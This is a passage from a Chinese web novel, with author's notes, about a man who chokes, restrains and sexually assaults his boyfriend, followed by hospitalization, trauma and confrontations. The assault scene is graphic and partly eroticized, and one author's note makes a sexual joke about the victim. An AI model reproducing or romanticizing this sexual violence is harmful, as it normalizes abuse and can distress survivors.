贺越邱的脸被他打了一下,反复几次,他的耐心消磨殆尽,眼睛里喷出怒火:“让我滚?你让我滚?这是我的房子,你是我的人,我凭什么滚?!现在装得贞洁烈女不让我碰,以前又是谁天天缠着我?!” 甄甄的心被羞辱得支离破碎,崩溃道:“我要走,让我走,我再也不想看见你……呜呜……” “想走?不可能!我告诉你,你的人你的心都只能是我一个人的,只要我想,可以对你做任何事!你要是听话一点,还能少遭点罪,我跟以前一样好好疼你,把我逼疯了,你也别想有什么好下场!” 一听到甄甄说要离开,贺越邱就丧失了理智,想到他以前是多么乖巧、多么黏人地赖在自己怀里,现在又是如何厌恶、如何抗拒和自己的接触,他就油然而生一种被背叛的愤怒——这个世界上所有的人都可以对他虚情假意,但他决不允许眼前这个人反抗他忤逆他。 他的脑子里只剩下一个念头,无论如何都要把这个人绑在自己身边,现在的过错以后可以弥补,但人必须留下! 贺越邱攥住甄甄的手举过头顶,轻而易举地钳制:“躲?你想躲去哪儿?你能躲去哪儿!” 这下他如愿以偿,贪婪而疯狂地攫取,直到他自己都呼吸困难才终于肯放开。 他们急促地呼吸着,犹如两头互相搏命的困兽。贺越邱和甄甄的视线对上,那双浅色的瞳孔中流露出不加掩饰的恐慌和憎恨,刀子般刺痛着他的眼睛,让他几乎是瞬间就移开了目光,伸出手去盖住这双眼睛,但也只是掩耳盗铃。 失去视线,甄甄更加不安,一边骂着贺越邱,一边又哭泣着求他。 “你放过我吧,贺越邱,你放我走,就当我从来没来过,从来不认识你!” 贺越邱不为所动,他满腔的痛苦和愤怒无处安放,挤压着心脏带来噬骨的剧痛。雨夜的冷空气潮湿弥漫,让甄甄打了个寒颤,他冷得发抖,心却更冷,哭得几乎要过呼吸了,也换不来一丝一毫的怜悯。 贺越邱用着检查货品般的眼神,肆无忌惮地打量着。让甄甄即使看不见,都能感受到那是一种如何折辱自尊的视线。 贺越邱冷笑道:“哭得这么可怜做什么?一边哭,一边又需要我,也不知道究竟算你口是心非,还是太不争气?真是好难猜。” 甄甄原以为他已经尝够了心碎的滋味,可现在贺越邱说的话才让他知道什么是心如死灰。他崩溃地摇着头,涌出的眼泪打湿了贺越邱干燥的掌心。 “别说了,求你别说了,我不是……我不是……” 贺越邱的手掌被眼泪烫得一痛,颤抖着捂不住那双湿润的眼睛,有些慌乱地松开。冷漠的外表下心如刀绞,强忍着不表现出来。 贺越邱不允许甄甄闭上眼,也不允许他违背自己,强硬道:“看着我。” 甄甄撇开头,却被掐住脸颊又带了回来。 他的眼泪不受控制地流过脸颊,掺着淡淡的粉色。而最痛的、最无力的,还是那颗被伤得千疮百孔的心。唯一的情绪出口,也就只剩下那泛着薄红的眼眶,正源源不断地流淌着泪水。 甄甄在绝望中悲痛地想,他究竟犯下了什么滔天大错才要得到这一切,他到底要怎么做才能逃离这个地狱。 贺越邱掐着甄甄的脖子,这种将不听话的爱人牢牢掌控在自己手中的感觉安抚了那颗不安的心脏,甚至逐渐扭曲。 “痛吗?!我是不是说过不准你离开我?你就是我的,你还想去哪里?你为什么不听话,为什么!” 贺越邱笑得比哭还难看,形状接近癫狂。他就是要这样不择手段地报复他,教训他,让他一次性痛个够,一次性把教训吃个够,以后再也不敢生出来离开的想法! 房间里黑漆漆一片,窗外轰隆巨响,电闪雷鸣,白光透过窗户映亮贺越邱恐怖的脸,昔日温柔的恋人褪下了他全部的伪装,表情狰狞地像地狱里爬出来索命的恶鬼,过往所有的温情和甜蜜,全部化作一片窒息的空白,来索着他的命。 甄甄拼命地想要呼吸,就在他以为自己真的要死在贺越邱手里时,被扼住的喉咙忽然一松,冰冷的空气不由分说地冲进来,呛得他剧烈咳嗽。 失去掌控,甄甄重重地回落。然而下一秒,他又猛地抬起头,仰着纤长又脆弱的细颈,好像一只引颈濒死的天鹅,痛得只能从干涸的喉咙里发出破碎的“嗬嗬”声。 他的眼睛瞪到最大,几乎要瞪出眼眶,眼泪横着流进栗色的卷发里。 好痛……好痛…… 怎么会这么痛,这样的痛怎么会这么漫长,甄甄直到此刻都不想要接受这个事实,他付出了他所能付出的一切,最后却只换来一场要彻底摧毁他、杀了他的暴行。 他痛得实在连哭喊都叫不出声,张着嘴,徒劳地发出无声的求救,谁都可以,来救救他吧,带他走,离开这个地狱。如果、如果……实在没有人可以救他,那就让他死在此刻,一了百了。 贺越邱忽然又放开甄甄,短暂的安静后,他又回来,手里拿着一个漂亮精致的礼盒。甄甄已经没有力气再去关注他的一举一动,像一个没有生气的木偶般,木楞楞地盯着天花板。 突然一个蝴蝶结砸在他的脸上,他的视线慢慢汇聚,爆发出比前面任何一刻都更剧烈的恨意,手腕更是被磨出血,可那样的疼痛比起贺越邱给予他的,根本就不值一提。 贺越邱轻松地控制住甄甄,残酷地说:“这不是你最想要的生日礼物吗?我可是花了好大的力气才从私人收藏家那里买回来,怎么样,喜不喜欢?” 甄甄痛彻心扉,撕心裂肺地喊出声:“我恨你……我恨你!你去死!贺越邱!你怎么不去死!你去死啊啊啊啊!” 贺越邱同样痛得无法呼吸,他原以为这样的惩罚应该会让自己安心,可甄甄眼神中爆发出的浓烈的绝望却让他痛苦不堪,恨意凝成一把实质的刀,刺穿他的心脏,让他一刻也听不下去。 贺越邱能够回馈给这份恨意的,竟然也只剩下残酷的恨,他因为害怕、因为失控而激烈的心跳频率,竟比外面的雨声更加密集。 贺越邱满脑子都只剩下一个想法,最好他和甄甄都死在这个暴雨夜里,用最不堪的方式,谁也别想离开谁,永永远远地绑在一起! 贺越邱赤红着眼,竭尽所能地羞辱着甄甄。但在那极端的愤怒中,又不自知地生出一股失控的恐慌,他明明已经得到了自己想要的,可越是到这一刻,他就越是害怕。 直到雨声小下去,贺越邱才逐渐恢复冷静。他的呼吸声依旧很重,透着种可怕的威严。他垂眼看过去,甄甄的脸颊苍白得几乎透明,早就没了声音,槁木死灰般,直直地看着天花板,无声地流下眼泪。 北京今夜暴雨,雨雾被风裹挟着吹进来,让他很冷,伤口却火辣辣地疼。可甄甄觉得这雨应该下得再大一点,发成巨大的洪水,从窗户里涌上来,把他带走。他要在洪水里随波逐流,不需要诺亚方舟,随着洪流飘得远远地,离贺越邱也远远地。 即便是罪魁祸首的贺越邱,面对这惨烈的局面,依旧也会呼吸困难。 他丢下甄甄,转身到阳台上抽烟,手指颤抖着,几次都打不上火。 他的脑子很乱,眼前浮现着甄甄那副破败的神情,就好像这个世界已经没有东西值得他再留恋,随时就要离开。 这种脱离控制的感觉让贺越邱没由来地烦躁,他觉得自己该好好思考一下这之后该怎么办。他恐怕选择了一个错误的办法,而在这样的错误之后,他还能再哄好甄甄吗? 贺越邱在阳台吹了十几分钟的冷风,脚下堆起一地烟头,这样的暴力宣泄实质上没有任何愉悦可言,他只觉得烦闷,发泄不出的烦闷。 等推拉窗开了太久,雨水灌进客厅,贺越邱才猛地想起来被自己逃避躲开的甄甄。他忙按灭烟头,关好所有窗户,转身走向卧室。 在门边时,却又踌躇地停下了。犹豫半天才推门而进,卧室里漆黑一片,安静到几乎只有他一个人的呼吸。 贺越邱的心跳停顿了一下,打开灯,几步冲到床边,心酸涩地揪了起来。 灯光映在甄甄灰败的眼底,让他看起来就像一个被打碎的瓷瓶,碎片破破烂烂地洒了一地,还维持着贺越邱离开前的动作,手腕早就被磨得血肉模糊,折出僵硬的角度。 他木楞地睁着眼,那双亮晶晶的小狗眼里早已失去光泽,麻木地盯着天花板,脸上是没有表情的空白。 贺越邱的心脏狠狠痛了一下,可他作为始作俑者,实在不知道该怎么开口,索性沉默地抱起甄甄,走向浴室。 出乎意料地,甄甄没有挣扎,只是无声无息地掉着眼泪,平静到连胸膛的起伏都很微弱。 贺越邱摸到他额头冰冷的温度,又心疼起来。他不知道自己怎么会失控到这个地步,做出这样的事来,可时间不能倒流,他只能寄希望于以后加倍地补偿,让时间抚平甄甄受到的伤害。 他动作温柔地给甄甄清洗,小心细致地处理着伤口,和刚刚的暴力行径判若两人。 甄甄麻木地睁着眼,任由温热的水冲过,却暖不了他死寂的心。他用最惨痛的代价看清楚贺越邱的真面目,终于知道,这些都是骗人的,宠爱是假的,温柔是假的,只有这些痛是真的,羞辱是真的。 没有任何补救可以再弥补他死去的心,这个雨夜会像噩梦般如影随形地跟着他一辈子。 甄甄无声地哭泣,贺越邱看得心疼,可他不敢开口说什么,给伤口简单地上完药后,又替他换上干净的衣物。 贺越邱不敢把甄甄抱回主卧,而是去了客房,那里毕竟刚发生了不好的事,他做的时候没怕,现在倒是怕会刺激到。抱的时候,也和贺越邱预测的不一样,甄甄没有任何反抗的动作,也不说话,甚至连呼吸都很微弱,稍不注意就听不到了。 贺越邱好像察觉到什么,有些惶恐地从背后抱住甄甄,小心地箍住他,但不敢再用力,他怕他真的会轻轻碎掉。 甄甄感受到贺越邱的气息,狠狠颤抖了一下,他的大脑或许还没有反应过来,但身体已经牢牢地记住了这场伤害。 贺越邱睡得迷迷糊糊,忽然间惊醒,随后就发现怀里的人烫得厉害,他叫着甄甄的名字,后者也不应答,只是死死咬着下唇,眼泪更是不停歇地掉下。 贺越邱立刻慌了神,打开灯,一看甄甄已经哭得震颤谵妄,马上清醒了,草草穿好衣服,抱起他冲向地下车库。 在这短短一分多钟的颠簸中,堵住甄甄情绪出口的塞子被抖落,他终于能感受到身体撕裂的疼痛,却怎么也睁不开眼,眼泪一股股地流出来,全无意识、仅凭新生幼儿般的本能,死死地抓住唯一能够抓住的东西,声嘶力竭地嚎啕大哭起来。 “妈……妈妈……我好痛……妈妈!” “妈妈……妈妈……” “痛……好痛……” 贺越邱脚步停了一瞬,脸上跟着流下冰冷的液体。 冷风从地下车库呼呼灌进来,贺越邱从来没有感觉到这么冷过,他的心脏都好像被甄甄的哭声割开了一道口子,是那么的痛、那么的慌张,一路上狂踩油门,闯了无数个红灯。 他的脑子一团乱麻,直到甄甄被送进急救室,他坐在长长地走廊上,看着亮起来的红灯,都还是有些转不过来,发怔地盯着提示灯上血腥的颜色。 他不敢去想几个小时前发生的事,也不敢去想甄甄醒来之后又会变成什么样,脑子里涌上来的都是过往甜蜜的回忆,但在这种时候,却无异于一场会反复折磨他的酷刑—— 作者有话说:到底还有哪个字是色情超标????? 第36章 第 36 章 贺越邱低沉地,静默地哭…… 手术室外, 贺越邱枯坐到天光破晓,急诊医生方才拎着手,满脸疲倦地走出来, 身后护士给他解开手术服系带。 贺越邱立刻冲到医生面前。 “怎么样?” 想起病人和自己儿子差不多大的年龄, 也都还是在读书的孩子, 医生看向贺越邱的眼神里便带上些许谴责:“我不知道你们到底是什么关系, 但是贺先生, 恕我直言,就算他只是您包养的情人,您也得悠着点儿,不要搞得太过分了。别说男性的生理结构不适合作为承受方, 就算他是一个顺产过的女性, 照您这种……也得受伤。” 贺越邱张了张口, 下意识想反驳他们是恋人, 不是包养关系,可话到嘴边,却又不知道该怎么解释—— 哪有对待恋人比对待玩具还粗暴的呢?他就算说出事实, 医生会相信吗? 贺越邱眼神中闪过自嘲,艰难地挤出几个字, 连成一句话:“他……没事吧?” 医生最烦处理有钱人的这些破事儿了,往往很同情那些情人的遭遇,却又无能为力, 无奈道:“没什么大碍, 就是口腔等地方有轻微撕裂,又受了凉,伤口发炎从而引起高烧惊厥。您送来得很及时,现在已经处理好了, 等后面换几次药慢慢恢复就行。” 贺越邱还没来得及松口气,医生接下来的话又让他悬起一颗心:“这些都不是大问题,现在最严重的是他的情绪方面。他受了很大的刺激,未来一段时间里有概率会处于一种自我保护机制开启下的应激状态,比如害怕您的靠近、对您的接触很抗拒之类的。如果有必要的话,我建议您给他进行一些心理干预。除此之外,在做基础项检查的时候发现病人有很严重的营养不良,考虑到没有发现酒精肝等酗烟酗酒的表征,我推断这应该是长期的不良饮食习惯造成的。” 贺越邱沙哑道:“他有进食障碍,以前要更严重一点,现在会好一些。” 医生点头:“那想必您也清楚,这是一种主要由心理问题诱发的疾病,情绪波动太大会使情况加重。如果不加以控制,后续可能会导致一些比较极端的强制治疗手段。我看病人还比较年轻,对于这些治疗手段的接受度应该不会很高,所以为了避免这种情况,还是麻烦您平时多上一些心,尽量不要让病情继续恶化。” “……好。” 贺越邱照顾甄甄这么多年,比医生还了解他的厌食症,闻言脱力地后退几步,跌回长椅上。 他越是了解,就越后悔,明知道账号的事就是自己错了,明知道甄甄就是个风吹就灭的美人灯,他应该好好跟他解释的,当时怎么就中了邪,对他下手这么狠呢? 他颓然地垂下头,用力抹了把脸,尝到一股咸涩的味道,低沉地、静默地哭起来。 眼泪的滋味对贺越邱而言太过于陌生了,他从小到大,无论是母亲离世,还是命悬一线,遇到再多糟心事都没哭过一次。贺越邱从来都奉行眼泪是弱者的特权,他自然不可能是弱者,所以他从来没有想过,有朝一日自己居然会因为后悔这样软弱的情绪而流泪。 他的脑子一片混乱,胸腔被悔意填满,愣愣地坐了很久,直到甄甄的观察期结束,被护士们推出来,才慌忙地擦掉眼泪,想要上前,却又有些踌躇。 贺越邱生出一股怯意,就像之前……他刚对甄甄犯下暴行后一样,因为恐慌反而逃避,不敢去面对。 他亦步亦趋地跟在护士们后面,隔着人群看到甄甄,他被穿上素净的病号服,闭着眼,像是睡着了一样,安静地躺在蓝色的手术床上。 他身上那些可怖的痕迹都被遮挡住了,只有一张清瘦的脸还露在外面,下巴尖尖的,皮肤苍白得透明,像随时会破灭的泡沫。贺越邱的瞳孔在看见他嘴角的伤口时骤然一缩,像被碳火烫了一下,剧烈地疼痛起来。 ‘给老子舔!’ ‘干死你!騒货!’ 那些伤害过甄甄的话语化作回马枪,狠狠地把贺越邱捅了个对穿,他猛地抓住心脏,尖锐的疼痛冲上来,一下子喘不过气。 他强撑着把甄甄送进病房,才终于靠在墙边,卸力地滑坐下去,眼前一阵阵发黑,缓了好久,才勉强站起。 护士说过等两个小时后麻药失效,甄甄就会醒。他从昨天中午开始就水米未进,又是冒着雨一路舟车劳顿从上海赶回北京,哪怕没自己发疯造成的这些伤害,恐怕也会病倒住进医院。 贺越邱整理好情绪,走进病房,让陪床护士出去,亲自守着甄甄。 麻药快失效时,他打电话让生活助理买了清粥小菜,没一会儿就快马加鞭地送到了。 贺越邱吩咐过让助理到了不要敲门,给他发消息,免得打扰到甄甄。他起身到门外把饭盒拿进来,回到病床时,才发现甄甄不知道什么时候已经醒了,无声无息地睁着眼睛,脸上也没有任何表情。 贺越邱高兴地刚要说话,又想起医嘱,担心甄甄会惊恐发作,又生生地把话都咽了回去。 他小心翼翼地靠近,心里打好主意,只要甄甄表现出哪怕一丁半点的排斥,他就马上停下来,出去找陪床护士来喂。 出乎贺越邱意料的是,甄甄对他的接近没有任何反应。为了验证,他还试探着轻轻喊了一声,甄甄依旧一动不动。 贺越邱心底涌上一阵希望,他回想着医生的用词,都是“也许”、“可能”这种概率性词汇,说明连医生也不能确定那些应激反应就一定会发生在甄甄身上,也或许……是因为甄甄对他有着很深厚的感情,即使发生了这样的事,也还是愿意相信他。 贺越邱很卑劣地为自己的猜测而生出庆幸,他坐到病床边,把食盒打开,吹凉小粥,舀起一勺喂过去。 甄甄没有任何反应。 贺越邱眼里透出一丝难过,反复斟酌着,低声道:“我知道我是个混账,无论说再多做再多,都弥补不了昨晚对你的伤害。但不管怎么样,你的身体是最重要的,先养好病,再跟我好好算账,行吗?” 他期盼着能够得到一句回答,哪怕是像昨晚那样声嘶力竭的诅咒,也要好过现在的不言不语。 但他的期盼注定要落空了,甄甄连呼吸声都很微弱,不仔细听,都要疑心他已经没了气息,就更不可能再给他任何回应。 贺越邱纵横商场多年,翻云弄雨煞是威风,鲜少有这样束手无策的时刻。 他咬咬牙,想强硬一点,让甄甄喝下这碗粥。然而汤匙递过去,却只能停留在唇齿之外,那张因生病而缺少光泽的唇瓣紧紧闭着,抿出极淡极浅的一点粉色。 贺越邱确信甄甄现在应该是清醒的,他语气重了些:“不管怎么样都要吃饭,你现在的身体不能再任性,乖,把这些吃完。” 他尝试几次都无果后,语气又有些崩溃,不自知地带上一些哀求:“甄甄,宝贝……别拿自己的身体惩罚我,好吗?你吃一点吧,就只喝一口也行。” 但甄甄就如一个被拔了发条的木偶,规规矩矩,却了无生气地躺在那里,对贺越邱的百般哄劝都无动于衷。 贺越邱终于意识到不对劲,他放下碗,猛地站起来,被甄甄空洞的眼神吓了一大跳——这还是活人吗?他还有呼吸吗?他的胸膛起伏的弧度堪比一只早产羸弱的猫崽,连睁眼都没有力气,好像下一刻就会结束自己的生命。 贺越邱慌张地按响床头铃,护士长很快就带着值班医生进来,一番人仰马翻地检查后,年轻的医生说:“可能是分离性木僵,对目前的病情没什么影响。” 贺越邱皱着眉,又着急:“你说清楚点儿。” 医生面露难色:“这……一般是心理应激触发的。他应当是受到了很严重的精神创伤,大脑一时处理不过来,就分离转换性障碍了。临床表现为肢体僵直、对外界无反应,但神经系统无器质性异常。张医生难道没有告诉您,让您多注意一下病人的心理状况吗?” 贺越邱如遭雷击,身体晃了一下,喃喃道:“他,他是说了,但他说的是可能会应激,对我产生排斥,他没有说会是这种……” “分离性木僵。”医生提醒道。 贺越邱的脸色太难看,一半恐慌,一半又很悲伤。他出于医者仁心,安慰道:“这种多半是突发性的,持续时间通常不会超过4时,您可以耐心等一等,说不定病人睡一觉再醒过来就好了。” 贺越邱已经不敢再相信医生嘴里的不确定性用词了,他也不敢再心存侥幸,看着这样了无生气的甄甄,贺越邱痛苦地想,还不如应激。哪怕让甄甄再恶毒地咒骂他、撕打他,也好过这样一动不动地躺在床上,像水晶棺里醒不过来的睡美人! 年轻医生又检查了一遍,换好了吊瓶,确定甄甄没什么大碍后,才和护士长一起离开。 临走前,贺越邱无助地问:“张医生说他现在很需要营养,可他根本没有进食欲望,我喂他什么都不吃,这该怎么办?” “哦,这个啊,现在输的吊瓶就是配好的营养液,能撑两天,后续看他进食欲望强不强烈吧,实在不行就上医疗手段。”年轻医生说。 贺越邱回过头,看向病床上的甄甄,那双他无数次亲吻过的,顾盼生辉的眼睛,如今已毫无光彩,更看不到半分曾经会因他而生出的湿润又依赖的爱意—— 作者有话说:这几天状态不是很好,尤其是今天太崩溃了,不仅是被举报被骂,更重要的是我不得不一直被迫改文,哪怕不是为了擦边涩情为目的,是情节发展必须经历的,也要把它改得面目全非,这让我真的很伤心也很烦躁痛苦,因为前面一年我的写作状态非常不好导致我接连两本都写得不好,这本感觉有一些想法,我自己想很用心的写完这篇文,但是偏偏又事与愿违,不停地修改删减搞得逻辑不通,我很不想让读者看到的是被改得乱七八糟的一本文,也特别害怕因为这些事导致我后续写得不好看,虽然我一直在给自己做心里建设,希望能够好好的写完这本,按最开始的构思写,除非不得已要改的内容之外,我希望最后结果能是好的 大家的安慰和支持我全都看到了,但实在没办法一条条回复,所以在作话统一作出感谢,每次崩溃过后支撑我还能调解好心情的都是更新后大家的反馈,如果不是大家一直的追更,我可能也不能一直憋着这股气,所以今晚也咬牙更新了,但是很担心质量不好,也还没捉虫修改,等会或者明天有空了会来修一下行文 总之就是非常感谢大家,我会尽我力量写完这篇的,插画也早就有准备,甄甄的早就画完了,只是还差一张攻的人设,画手比较拖,快两个月了也没给我,更难受了[爆哭] 第37章 第 37 章 “你打老婆,你最有种。…… 甄甄现在的状态很糟糕, 对外界刺激没有任何反应,贺越邱没办法强迫他进食,只能把小粥放到一边。 贺越邱更没胃口, 也感觉不到疲累, 他现在只想守着甄甄, 期盼他能快点好起来。 可能是太虚弱, 甄甄清醒的时间没有维持太久, 很快就又沉沉地睡了过去。 这会儿是下午两点多,正好是一天里日头最盛的时候,贺越邱怕光线会晃到甄甄的眼睛,起身把窗帘全都拉上了, 只留下一条缝隙采光。 这束光像把锋利的刀, 切蛋糕一样, 将昏暗的病房切割出光明的一小块, 暖洋洋地照在甄甄的下巴,将他因为生病而苍白的肤色衬出几分温润,连唇上都有了些许血色, 安安静静地闭着眼,并不像是一个脆弱的病人, 而像一个只是在沉睡的美丽的公主。 贺越邱坐在病床边,小心避开那些纱布,轻轻地握住了甄甄的手, 脸也依恋地贴上去, 只有感受到这份微凉的体温,他痛到痉挛的心脏才能稍稍安定一些。 他这一刻觉得,甄甄的手心,就是这个世界上家的最小单位。 贺越邱阖着眼养神, 他并没有困意,只是像这样待在一块儿,就能假装他和甄甄什么也没有发生,还是如往常每一个阳光灿烂的下午,互相拥抱着、依偎在一处休憩。 但这样的假象并没有维持多久,就被一阵急促的脚步打断。 戴维最先冲进来,慌张地喊着甄甄的名字,方寸行则稍微落后一些,两个人都是一口气不停地从院门口找了几栋楼才找到这间病房的,此刻气喘吁吁,胸膛剧烈地起伏着。 贺越邱猛地睁开眼,抬起头一看,不悦道:“是你们?” 旋即便下了逐客令:“他还在休息,不方便探望,请回吧。” 戴维早已如一阵风般冲到了病床前,即将靠近时不自觉放轻了脚步声,瞳孔放大,不可置信地看着甄甄。 他安安静静地闭着眼,连呼吸都很轻,好像一片随时都会飞走的羽毛,和戴维记忆里那个活泼开朗、聪敏可爱的男生判若两人。 戴维颤抖地伸出手,还没碰到,就又立刻收了回来——那么瘦的一截手腕,他平时握满了都有剩余,现在层层叠叠的裹着纱布,隐约还可以闻到药味。他根本就不敢碰。 就短短一个晚上没见,他到底都经历了什么可怕的事! 戴维心疼地流下眼泪,小声喊着:“甄甄?甄甄……我要是昨晚陪你一起回来就好了,你就不会……” 方寸行从进来就一直愣住在原地,突然扬起拳头,照着贺越邱面门挥舞。 贺越邱一躲,指骨擦过他的嘴角,吐了口血沫,冷冷地瞪着方寸行。 他哑声道:“突然发什么疯?!甄甄刚刚睡着,你非要把他吵醒不可?” 方寸行压低了声音怒吼:“到底谁才是疯子?!你把他害成这样,还有什么脸面待在这里惺惺作态?!” 戴维低声呵斥道:“你们都滚出去!” 他在回来的路上通过逼问方寸行已经知道了一切,原来他看了这么久的账号,zz就是甄甄,而甄甄作为被记录者,却一直被贺越邱蒙在鼓里毫不知情!但因为疲于赶路,他来不及指责方寸行,现在正好两个人都一起骂了。 戴维扭过头,眼眶发红,恨恨地盯着方寸行和贺越邱:“你们两没一个好东西,甄甄现在变成这样,谁也脱不了干系!” 贺越邱嘲笑道:“你是什么东西,也配对我指手画脚。” 戴维握紧了拳头,眼神闪过被羞辱的不服,却不露怯,强硬道:“我至少不像你,外人面前人模狗样,背地里对亲密关系的恋人做这出这种龌龊事!等甄甄醒过来,他一定不愿意看见你,像你这种只会伤害甄甄的王八蛋,最好是有多远就趁早滚多远,别在这里碍眼!” 贺越邱脸色铁青,骨骼肌肉发出牙酸的声音,他几乎马上就要对戴维发难,方寸行挡在中间,冷声道:“你自己都说过他需要休息,就不要在病房里找事,我跟你出去说。” 贺越邱揉着手腕,动了动脖子,那是他每次被激起怒火,要打架的前兆。 他起身,用力撞开方寸行,离开前,警告性地看了一眼戴维。 方寸行紧随其后。 一出来,贺越邱便挥起一拳,方寸行躲闪不及,颧骨硬生生接下,立刻青紫破皮。 方寸行本能地捂住脸,眼前一阵发黑,踉跄着跌坐在走廊的长椅上。 “你倒是挺有种,敢跟我出来。”贺越邱高高在上地说。 方寸行缓过这阵剧痛,对上贺越邱的眼睛,嘲讽地扯起嘴角,几句话像刀子一样插在他心里:“哦,所以你昨天晚上就是这么把他打进医院的。太子爷,你打老婆,你最有种。” 贺越邱脸色骤然难看,脱口否认:“放屁!我没打他!” 方寸行冷笑:“你以为性暴力就不是暴力?少给自己的暴行找借口,你和你母亲不愧是一脉相承,她是个疯子,你也不遑多让。像你这种人,就应该和你妈一样,至死都得不到幸福。” 贺越邱暴喝道:“你他妈再说一句!” “哪句话有错?你真是完美继承了你母亲的基因,偏执,疯癫,没有丝毫同理心,连最亲密的人都不过是你泄欲的工具,但你伪装得真不错,把那个傻子骗得团团转,现在落到这种下场,你都还是不肯放过他。” 贺越邱猛地抓起方寸行的衣领,激动到脖颈青筋暴起,愤怒道:“给我闭嘴!你有什么资格来指责我?要不是你告诉他那个账号,这一切根本就不会发生,你以为把责任都推到我头上,你就能把自己摘干净?做梦!” 方寸行嗤笑一声,即是痛恨自己,也是痛恨贺越邱:“我当然有错,从一开始,我就不应该答应你把他塞进星火,不该揣着明白装糊涂,主动走进你的圈套里。我明明什么都知道,却为了一己私欲装作不知情……” 他颓然一笑,抹掉眼泪,痛声道:“连他最喜欢最信任的人都欺负他,我也在助纣为虐……” 方寸行想起让戴维查到的那些资料,想起甄甄从小就失去了能够庇护他的亲人,眼泪更加止不住:“他爸妈要是知道自己的孩子被一个男人这么糟践,就算早死也不能瞑目!贺越邱,你如果还有一丁点,哪怕就一丁点的良心,你就和他分手,不要再纠缠他折磨他。他不像你,孤家寡人、天煞孤星,这辈子都不配得到幸福,他走到哪里都会交到一大群知心朋友,无论什么时候都不缺人爱,没有你照样可以活得很幸福!你听到了吗?!没有你,甄甄一样会很幸福!反而你,你就是一个靠吸食他的爱才能活下去的魔鬼,你根本不配和他在一起!” “闭嘴……你给我闭嘴!” 贺越邱怒火中烧,掺杂着一股没由来地恐慌,浑身颤抖地举起拳头,朝着方寸行狠狠砸下去。 二人厮打到一起,场面吓坏了值班护士,忙跑回办公室叫医生。 几分钟后,贺过岭带着几个保安匆匆赶到,废了很大一番劲才将这两人分开。 他在医院里也依旧穿得严严实实,里面一套浅灰色的西装,外面套一件敞开的纯白色医师服,贺越邱在这场打斗中虽然占据上风,但和他斯斯文文的弟弟比起来,还是略显狼狈。 贺过岭勾着唇角,淡淡笑道:“什么事?值得你们两个好朋友这样大打出手。” 一句话让两个人都直犯恶心,中间隔了几层人,都还将头各自扭到一边,俨然反目成仇。 贺越邱厌恶地看着眼前这个同父异母的弟弟,语气极差:“我怎么样,都跟你这小杂种没关系。” 女护士皱着眉,小声嘀咕:“什么人啊,没素质。” 贺过岭依旧保持着翩翩风度,微笑道:“先回病房吧,不要叫外人看笑话。” 贺越邱冷冰冰地看了他一眼,转身走进病房。 贺过岭又看向脸上多处挂彩的方寸行,无奈笑道:“抱歉啊寸行哥,我哥性格比较冲动,有哪里冒犯到你,我替他向你道歉。你们是多年的深交,不要因为一些误会埋下隔阂,等彼此都冷静下来,再好好谈谈,把事儿说开。” 方寸行刚跟贺越邱打了一架,现在让人弟弟来说和,多少有几分不自在,抿抿唇,只说:“和你没关系。你不用管。” “他是我哥,你也是我哥,我肯定是不愿意看到你们闹矛盾的。”贺过岭笑笑,说话如沐春风,“我先带你去处理伤口吧。” 方寸行先说不用,但拗不过贺过岭的好意,最后还是跟着他去了办公室。 贺越邱摸着受伤的嘴角,倒吸口冷气,骂骂咧咧地走向病床。 他刚一想靠近,戴维便警觉地转过身,用身体挡住视线,不客气地说:“这里不欢迎强/奸/犯,请你离开。” 贺越邱危险地眯了眯眼:“找死。” 戴维不为所动,和他针尖对麦芒。 僵持之际,甄甄低哼一声,似乎要醒过来。 两人瞬间卸下防备,贺越邱更是一步冲到病床前,半蹲着抓起甄甄的手,满怀期待地说:“你醒了?饿不饿,想吃什么?我让小王去订——” 他忽然噤了声,甄甄流着眼泪,看向他的眼神里不再有依恋和喜悦,只剩下深深的恐惧。 甄甄害怕得要抽出手,却根本不敢和戾气极重的贺越邱对视,病号服下单薄的身体抖如筛糠,小脸死白,紧紧地咬着下唇,一个劲地往被子里躲。 贺越邱先是疑惑,思维和心跳都在一瞬间顿住,慢慢地,随着甄甄抖动的频率越快、眼泪流得越来越多,他的心脏才开始一点一点地痛起来,很快便蔓延全身,几乎要不能呼吸—— 作者有话说:为了迎接即将到来的长期的病弱甄甄,请多给他灌一点白白的营养液吧[抱抱] 医生们请给这只可怜的小狗输液打针哦[可怜][可怜] 第38章 第 38 章 一个两个的,都跟疯了一…… 戴维看情况不对, 压低声音,带着几分咬牙切齿的愤怒:“你还不走?!” 贺越邱充耳未闻,不死心地把甄甄另一只手也抓过来, 去追寻他躲闪的视线:“是我啊宝宝, 你别害怕, 别哭, 昨晚上都是我犯浑, 是我的错,我保证以后再也不会对你动手。你看着我,看看我,宝宝……宝贝……别害怕, 别怕, 我不会对你做什么的。” 他一声声的, 掺着哭腔, 甄甄流着眼泪,说不出话,一个劲地撇开头, 只想躲开他。 甄甄浑身都在发抖,一双又大又清的眼睛里全是恐慌, 极了一只遭过人类虐待而怕极了人的小狗。 戴维再也忍不住,一把推开贺越邱,把甄甄护在怀里, 轻轻拍着他的背:“别怕别怕, 有我在这儿,不会让他继续伤害你的。” 说完怒气冲冲地抬起头:“你看不到他都害怕成什么样子了吗?快滚!不要再让甄甄看到你!” 贺越邱被甄甄恐惧的眼神伤得痛彻心扉,拳头握紧到指甲嵌进了掌心,忍耐着巨大的悲伤, 脚步沉重地走出病房。 关上门的瞬间,他狠狠一拳砸在墙壁上,痛得剧烈颤抖,可身体上的疼痛根本就无法压下他心中的痛意和恨意。他低下头,无声地嘶吼着,脖子青筋暴起,英俊的五官也扭曲成恐怖的样子。 甄甄看到他就应激发作的一幕深深刻在他的脑海里,无论他怎么闭眼驱赶都挥之不去,给他几个小时前的侥幸想法狠狠扇了一耳光。 贺越邱宁愿甄甄清醒后憎恨他,像昨晚那样声嘶力竭地咒骂,无论是打是骂他都照单全收,只要甄甄能够解气。可现在的结果,偏偏是他最无力招架也最不愿意看到的。这让他该怎么接受,他们曾经那么甜蜜,总要黏在一块儿,然而如今他只要一靠近,就会给甄甄带来二次伤害,看见他因为自己崩溃,害怕,他的心就好痛,恨不得活生生从胸膛里剖出来捧给甄甄,告诉他,自己真的不会再伤害他。 贺越邱坐在长椅上,深深地低下头,肩膀悲恸地抖动着。 护士换完吊瓶出来,看见他右手上可怖的伤口,虽然对他的出言不逊有所不满,但还是很有职业道德地问了句:“您需要稍微包扎一下吗?” 贺越邱沙哑道:“不用。” 护士看着他的伤口,感同身受的痛,抖着一身鸡皮疙瘩走开了。 “张医生不在,他说让我把20床病人今天的查房报告给您过目就行了。”护士说着,递给贺过岭一沓表格。 